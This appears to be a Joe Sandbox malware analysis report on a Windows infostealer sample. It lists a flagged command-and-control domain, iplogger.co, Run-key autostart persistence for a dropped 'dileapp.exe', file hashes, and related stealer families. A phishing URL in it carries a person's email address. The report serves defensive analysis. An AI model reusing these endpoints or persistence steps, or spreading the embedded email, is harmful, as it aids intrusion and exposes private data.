https://water-acidict.cyou/apih	dileapp.exe, 0000000F.00000003.2103253174.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000002.2133309995.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2124156785.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132117784.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132494268.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://water-acidict.cyou:443/api	dileapp.exe, 00000005.00000003.1740218351.0000000001551000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000005.00000002.1749018639.0000000001551000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1969012358.0000000000978000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000002.1969913350.0000000000978000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.2050545971.0000000001A98000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000002.2052375189.0000000001A98000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000002.2133021309.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132165164.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://water-acidict.cyou/apie	dileapp.exe, 0000000C.00000003.1980496225.0000000006033000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1980557308.0000000006035000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://water-acidict.cyou:443/api_	dileapp.exe, 0000000F.00000002.2133021309.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132165164.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	dileapp.exe, 00000009.00000003.1812680278.00000000057E2000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1902203136.0000000005FE2000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1984503676.0000000005BF2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://water-acidict.cyou/apixd	dileapp.exe, 0000000C.00000003.1952649413.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1954874686.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOY	dileapp.exe, 0000000F.00000003.2132165164.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000002.2133194684.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	dileapp.exe, 00000009.00000003.1811892713.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1811747745.000000000585E000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901185611.000000000605C000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901451564.0000000005FF8000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983324065.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1983533384.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.micro	dileapp.exe, 00000009.00000003.1812600714.0000000005864000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901988721.0000000006062000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1984241620.0000000005C70000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://iplogger.co/https://iplogger.co/1tJFB4iplogger.co/1tJFB4	dileapp.exe, 00000009.00000003.1812680278.0000000005801000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1812600714.000000000585E000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1901988721.000000000605C000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1902203136.0000000006001000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1984241620.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.1984503676.0000000005C11000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://water-acidict.cyou/	dileapp.exe, 00000005.00000002.1749293398.00000000015C2000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000005.00000003.1740124665.00000000015C2000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000002.1970391801.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1969486720.0000000000A14000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1888884625.0000000000A14000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1968959051.0000000000A0D000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1888558428.0000000000A06000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1811421821.0000000000A02000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 00000009.00000003.1927382793.0000000000A06000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1951791615.0000000006033000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000002.2052600366.0000000001B1A000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1926780706.0000000001B11000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000002.2055278689.0000000006033000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1980496225.0000000006033000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.2045066427.0000000006033000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1952787217.0000000006035000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.2050815274.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1980677857.0000000006033000.00000004.00000800.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.1980367222.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000003.2050916966.0000000001B1A000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000C.00000002.2052375189.0000000001B0F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://water-acidict.cyou/apia	dileapp.exe, 0000000F.00000003.2103253174.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000002.2133309995.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2124156785.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132117784.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, dileapp.exe, 0000000F.00000003.2132494268.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.82.93	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.156.217	water-acidict.cyou	United States	13335	CLOUDFLARENETUS	true
172.67.167.249	iplogger.co	United States	13335	CLOUDFLARENETUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1565453
Start date and time:	2024-11-29 23:09:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@32/5@9/6
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.19.238, 74.125.205.84, 34.104.35.123, 23.218.208.109, 93.184.221.240, 192.229.221.95, 172.217.17.67, 172.217.17.46
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, e16604.g.akamaiedge.net, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target dileapp.exe, PID 3696 because there are no executed function
Execution Graph export aborted for target dileapp.exe, PID 5448 because there are no executed function
Execution Graph export aborted for target dileapp.exe, PID 7568 because there are no executed function
Execution Graph export aborted for target dileapp.exe, PID 7984 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
17:10:03	API Interceptor	26x Sleep call for process: dileapp.exe modified
22:09:55	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Netstat C:\Users\Public\Netstat\dileapp.exe
22:10:04	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Netstat C:\Users\Public\Netstat\dileapp.exe
22:10:12	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Netstat C:\Users\Public\Netstat\dileapp.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	https://protect.checkpoint.com/v2/r01/___https://clickeu.actmkt.com/xd5/7-ai55b68h-a5f~-96gf-biba-/k~6/~c/kjha?jsw=sffmnfizfgDff9Dfmnfh~fgufgwvf8ffs9fmpfijfgvvfDDfrrflpfiyfgEvfrnflffixfgxffCff9nftzflxfiBfgCvf8ffsjfl9fikffCff9vftzfh~fimff8vf/vfqjfiffgufg~ff8nfrjfl9figfgyvfEnftnfjffinfgzvf8ffsvfmlfiofgxffEnfszflhfitfgCvf9vfszflvfgtfgwvf8DfszfmDfgDfg~ffafflffipfgxffBvfsDfrvfiffgvff9ffrnflrfllfgsff8vfrffrjfirfgsff7ffrnfrnflhfgsff9ffEffmffitfgsff7vfEvflDfihfgAff8fftnflzflrfikfgwvfsDfuvfiffgAff9vfqnfrnfihfiiff9ffsfflDflpfgBffBvftnflDfitfgyffBvfsfflzflrfikffBvftfflnflpfgCffBvfEvfmfflpfilfgxvfsffrzflrfihff8vfrvflrfmDfgvffDffrnfkzfllfgxfgwffrvfl9flpfgAfgwffqnfmjfipfiiff7vfqnflvfllfiiff8vfqnfmffllfgwfgwffqnflDfilfgDffEffDDfmffinfgxfgxvfsvfmffijfi9fg~ffvnfuvff====___.YzJ1OndhaXRha2VyZXByaW1hcnk6YzpvOjczN2NjZDA5MTMxODVlMzdkYWUzNjFjZjM4Yzg3Y2ZlOjc6ZjRkNToxN2E5YzZkNWIxZGY2MjgxODRlOTdhNmI5MDkxMDNmY2VkOTNmZGVmZWNhODNlZDEwNTdjNGFkZGY2ZGVlMDc5Omg6VDpU	Get hash	malicious	Unknown	Browse
	https://clienti.documentipostali.it/#/public/email/a703266c-62aa-4024-8f0c-254725c31c25-DD0015830773-D0002973415	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	https://clienti.documentipostali.it/#/public/email/a703266c-62aa-4024-8f0c-254725c31c25-	Get hash	malicious	Unknown	Browse
104.21.82.93	cmd.exe	Get hash	malicious	Unknown	Browse
	newvideozones.click.ps1	Get hash	malicious	LummaC	Browse
	newvideozones.click.ps1	Get hash	malicious	Unknown	Browse
	pub-9c4ec7f3f95c448b85e464d2b533aac1.r2.dev.ps1	Get hash	malicious	LummaC	Browse
	encrypter-windows-x86.exe	Get hash	malicious	Unknown	Browse
	yWny5Jds8b.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse
	https://prezi.com/i/view/0dF0780HKO9RqC8umFaJ	Get hash	malicious	Unknown	Browse
172.67.156.217	ACTCsxhga8.exe	Get hash	malicious	Glupteba, SmokeLoader, Stealc	Browse	cwd.com.au/administrator/
172.67.167.249	sus.ps1	Get hash	malicious	LummaC	Browse
	ofsetvideofre.click.ps1	Get hash	malicious	LummaC	Browse
	4h1Zc12ZBe.exe	Get hash	malicious	Stealc	Browse
	dlcdkJcbbV.exe	Get hash	malicious	LummaC, RedLine	Browse
	1Vkf7silOj.exe	Get hash	malicious	LummaC, Amadey, Mars Stealer, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse
	hsRju5CPK2.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse
	https://prezi.com/i/view/0dF0780HKO9RqC8umFaJ	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
iplogger.co	sus.ps1	Get hash	malicious	LummaC	Browse	172.67.167.249
	cW5i0RdQ4L.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	cW5i0RdQ4L.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	Activator by URKE v2.5.exe	Get hash	malicious	LummaC	Browse	172.67.188.178
	SecuriteInfo.com.Trojan.DownLoaderNET.786.13278.22147.exe	Get hash	malicious	Unknown	Browse	104.21.76.57
	file.exe	Get hash	malicious	DarkTortilla, PureLog Stealer	Browse	104.21.76.57
	file.exe	Get hash	malicious	DarkTortilla	Browse	104.21.76.57
	cmd.exe	Get hash	malicious	Unknown	Browse	104.21.82.93
	cmd.exe	Get hash	malicious	BEAST	Browse	104.21.82.93

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	https://protect.checkpoint.com/v2/r01/___https://clickeu.actmkt.com/xd5/7-ai55b68h-a5f~-96gf-biba-/k~6/~c/kjha?jsw=sffmnfizfgDff9Dfmnfh~fgufgwvf8ffs9fmpfijfgvvfDDfrrflpfiyfgEvfrnflffixfgxffCff9nftzflxfiBfgCvf8ffsjfl9fikffCff9vftzfh~fimff8vf/vfqjfiffgufg~ff8nfrjfl9figfgyvfEnftnfjffinfgzvf8ffsvfmlfiofgxffEnfszflhfitfgCvf9vfszflvfgtfgwvf8DfszfmDfgDfg~ffafflffipfgxffBvfsDfrvfiffgvff9ffrnflrfllfgsff8vfrffrjfirfgsff7ffrnfrnflhfgsff9ffEffmffitfgsff7vfEvflDfihfgAff8fftnflzflrfikfgwvfsDfuvfiffgAff9vfqnfrnfihfiiff9ffsfflDflpfgBffBvftnflDfitfgyffBvfsfflzflrfikffBvftfflnflpfgCffBvfEvfmfflpfilfgxvfsffrzflrfihff8vfrvflrfmDfgvffDffrnfkzfllfgxfgwffrvfl9flpfgAfgwffqnfmjfipfiiff7vfqnflvfllfiiff8vfqnfmffllfgwfgwffqnflDfilfgDffEffDDfmffinfgxfgxvfsvfmffijfi9fg~ffvnfuvff====___.YzJ1OndhaXRha2VyZXByaW1hcnk6YzpvOjczN2NjZDA5MTMxODVlMzdkYWUzNjFjZjM4Yzg3Y2ZlOjc6ZjRkNToxN2E5YzZkNWIxZGY2MjgxODRlOTdhNmI5MDkxMDNmY2VkOTNmZGVmZWNhODNlZDEwNTdjNGFkZGY2ZGVlMDc5Omg6VDpU	Get hash	malicious	Unknown	Browse	162.159.140.160
	https://clienti.documentipostali.it/#/public/email/a703266c-62aa-4024-8f0c-254725c31c25-DD0015830773-D0002973415	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	https://economiesocialeestrie-my.sharepoint.com/:f:/g/personal/cynthia_economiesocialeestrie_ca/Eg3bU_gVnldCmtzlGs9oSUQBYKQRNnAURt93MlkOZFbwAg?email=gaston.stratford%40assnat.qc.ca&e=iSpthp&xsdata=MDV8MDJ8R2FzdG9uLlN0cmF0Zm9yZEBhc3NuYXQucWMuY2F8Y2RjYmI0YjE1ZGI0NGZhNmQzYjUwOGRkMTA4MmQxNTh8MWE1NjE5ODBkNjc0NGQzMGEyOTc1ODhjMDdhODMzNTN8MHwwfDYzODY4NDg3NjU1MjMyNTA1OHxVbmtub3dufFRXRnBiR1pzYjNkOGV5SkZiWEIwZVUxaGNHa2lPblJ5ZFdVc0lsWWlPaUl3TGpBdU1EQXdNQ0lzSWxBaU9pSlhhVzR6TWlJc0lrRk9Jam9pVFdGcGJDSXNJbGRVSWpveWZRPT18MHx8fA%3d%3d&sdata=YVp6WGNQM0psVGw2TU5teXRVbmhhMy9VaDRhYW5SeWdTN0pDaTBKV2p2Yz0%3d	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	https://protect.checkpoint.com/v2/r01/___https://clickeu.actmkt.com/xd5/7-ai55b68h-a5f~-96gf-biba-/k~6/~c/kjha?jsw=sffmnfizfgDff9Dfmnfh~fgufgwvf8ffs9fmpfijfgvvfDDfrrflpfiyfgEvfrnflffixfgxffCff9nftzflxfiBfgCvf8ffsjfl9fikffCff9vftzfh~fimff8vf/vfqjfiffgufg~ff8nfrjfl9figfgyvfEnftnfjffinfgzvf8ffsvfmlfiofgxffEnfszflhfitfgCvf9vfszflvfgtfgwvf8DfszfmDfgDfg~ffafflffipfgxffBvfsDfrvfiffgvff9ffrnflrfllfgsff8vfrffrjfirfgsff7ffrnfrnflhfgsff9ffEffmffitfgsff7vfEvflDfihfgAff8fftnflzflrfikfgwvfsDfuvfiffgAff9vfqnfrnfihfiiff9ffsfflDflpfgBffBvftnflDfitfgyffBvfsfflzflrfikffBvftfflnflpfgCffBvfEvfmfflpfilfgxvfsffrzflrfihff8vfrvflrfmDfgvffDffrnfkzfllfgxfgwffrvfl9flpfgAfgwffqnfmjfipfiiff7vfqnflvfllfiiff8vfqnfmffllfgwfgwffqnflDfilfgDffEffDDfmffinfgxfgxvfsvfmffijfi9fg~ffvnfuvff====___.YzJ1OndhaXRha2VyZXByaW1hcnk6YzpvOjczN2NjZDA5MTMxODVlMzdkYWUzNjFjZjM4Yzg3Y2ZlOjc6ZjRkNToxN2E5YzZkNWIxZGY2MjgxODRlOTdhNmI5MDkxMDNmY2VkOTNmZGVmZWNhODNlZDEwNTdjNGFkZGY2ZGVlMDc5Omg6VDpU	Get hash	malicious	Unknown	Browse	162.159.140.160
	https://clienti.documentipostali.it/#/public/email/a703266c-62aa-4024-8f0c-254725c31c25-DD0015830773-D0002973415	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	https://economiesocialeestrie-my.sharepoint.com/:f:/g/personal/cynthia_economiesocialeestrie_ca/Eg3bU_gVnldCmtzlGs9oSUQBYKQRNnAURt93MlkOZFbwAg?email=gaston.stratford%40assnat.qc.ca&e=iSpthp&xsdata=MDV8MDJ8R2FzdG9uLlN0cmF0Zm9yZEBhc3NuYXQucWMuY2F8Y2RjYmI0YjE1ZGI0NGZhNmQzYjUwOGRkMTA4MmQxNTh8MWE1NjE5ODBkNjc0NGQzMGEyOTc1ODhjMDdhODMzNTN8MHwwfDYzODY4NDg3NjU1MjMyNTA1OHxVbmtub3dufFRXRnBiR1pzYjNkOGV5SkZiWEIwZVUxaGNHa2lPblJ5ZFdVc0lsWWlPaUl3TGpBdU1EQXdNQ0lzSWxBaU9pSlhhVzR6TWlJc0lrRk9Jam9pVFdGcGJDSXNJbGRVSWpveWZRPT18MHx8fA%3d%3d&sdata=YVp6WGNQM0psVGw2TU5teXRVbmhhMy9VaDRhYW5SeWdTN0pDaTBKV2p2Yz0%3d	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	https://protect.checkpoint.com/v2/r01/___https://clickeu.actmkt.com/xd5/7-ai55b68h-a5f~-96gf-biba-/k~6/~c/kjha?jsw=sffmnfizfgDff9Dfmnfh~fgufgwvf8ffs9fmpfijfgvvfDDfrrflpfiyfgEvfrnflffixfgxffCff9nftzflxfiBfgCvf8ffsjfl9fikffCff9vftzfh~fimff8vf/vfqjfiffgufg~ff8nfrjfl9figfgyvfEnftnfjffinfgzvf8ffsvfmlfiofgxffEnfszflhfitfgCvf9vfszflvfgtfgwvf8DfszfmDfgDfg~ffafflffipfgxffBvfsDfrvfiffgvff9ffrnflrfllfgsff8vfrffrjfirfgsff7ffrnfrnflhfgsff9ffEffmffitfgsff7vfEvflDfihfgAff8fftnflzflrfikfgwvfsDfuvfiffgAff9vfqnfrnfihfiiff9ffsfflDflpfgBffBvftnflDfitfgyffBvfsfflzflrfikffBvftfflnflpfgCffBvfEvfmfflpfilfgxvfsffrzflrfihff8vfrvflrfmDfgvffDffrnfkzfllfgxfgwffrvfl9flpfgAfgwffqnfmjfipfiiff7vfqnflvfllfiiff8vfqnfmffllfgwfgwffqnflDfilfgDffEffDDfmffinfgxfgxvfsvfmffijfi9fg~ffvnfuvff====___.YzJ1OndhaXRha2VyZXByaW1hcnk6YzpvOjczN2NjZDA5MTMxODVlMzdkYWUzNjFjZjM4Yzg3Y2ZlOjc6ZjRkNToxN2E5YzZkNWIxZGY2MjgxODRlOTdhNmI5MDkxMDNmY2VkOTNmZGVmZWNhODNlZDEwNTdjNGFkZGY2ZGVlMDc5Omg6VDpU	Get hash	malicious	Unknown	Browse	162.159.140.160
	https://clienti.documentipostali.it/#/public/email/a703266c-62aa-4024-8f0c-254725c31c25-DD0015830773-D0002973415	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	https://economiesocialeestrie-my.sharepoint.com/:f:/g/personal/cynthia_economiesocialeestrie_ca/Eg3bU_gVnldCmtzlGs9oSUQBYKQRNnAURt93MlkOZFbwAg?email=gaston.stratford%40assnat.qc.ca&e=iSpthp&xsdata=MDV8MDJ8R2FzdG9uLlN0cmF0Zm9yZEBhc3NuYXQucWMuY2F8Y2RjYmI0YjE1ZGI0NGZhNmQzYjUwOGRkMTA4MmQxNTh8MWE1NjE5ODBkNjc0NGQzMGEyOTc1ODhjMDdhODMzNTN8MHwwfDYzODY4NDg3NjU1MjMyNTA1OHxVbmtub3dufFRXRnBiR1pzYjNkOGV5SkZiWEIwZVUxaGNHa2lPblJ5ZFdVc0lsWWlPaUl3TGpBdU1EQXdNQ0lzSWxBaU9pSlhhVzR6TWlJc0lrRk9Jam9pVFdGcGJDSXNJbGRVSWpveWZRPT18MHx8fA%3d%3d&sdata=YVp6WGNQM0psVGw2TU5teXRVbmhhMy9VaDRhYW5SeWdTN0pDaTBKV2p2Yz0%3d	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63
	https://clienti.documentipostali.it/#/public/email/a703266c-62aa-4024-8f0c-254725c31c25-DD0015830773-D0002973415	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63
	https://clienti.documentipostali.it/#/public/email/a703266c-62aa-4024-8f0c-254725c31c25-	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63
	https://shorturl.at/IFOx4?US=7226wlev	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63
	https://mobile.mail.yahoo.com/apps/affiliateRouter?brandUrl=https://www.google.com/amp/t.co/N0QLoca1EY&appName=YMailNorrin&partner=1&locale=1&pageId=commerce_intent&clickRef=message_header&region=us&annotation=&buckets=&segment=&interactedItem=&slot=&uuid=mailNA	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.156.217
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	172.67.156.217
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.156.217
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.156.217
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.156.217
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.67.156.217
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.156.217
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.156.217
	weWHT1b7JO.dll	Get hash	malicious	Unknown	Browse	172.67.156.217
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.156.217

Dropped Files

⊘No context

Created / dropped Files

C:\Users\Public\Netstat\dileapp.exe

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1928704
Entropy (8bit):	7.950017394374122
Encrypted:	false
SSDEEP:	49152:9gQrhDDlpKUtMd2L+1uyewdTV7wHUrzl:7rhD+tP1uyewtVUol
MD5:	B0D5568D499D1DFA75064E85E9FB3EAC
SHA1:	B6297B622C70955E56BB209F221D96BA7B9ECB11
SHA-256:	27E0A780B1461B79A366E320872C9F937532881168FF70864AFA733D63C502D5
SHA-512:	721ABFDBEC39BA2C4959426F50293DBFF2F80750AB6DD37CE4B6C86AAA781EF69622D126C67579A9DC4D913B7284C40AEFBE913892D8F4526808C2F48957D5D7
Malicious:	true
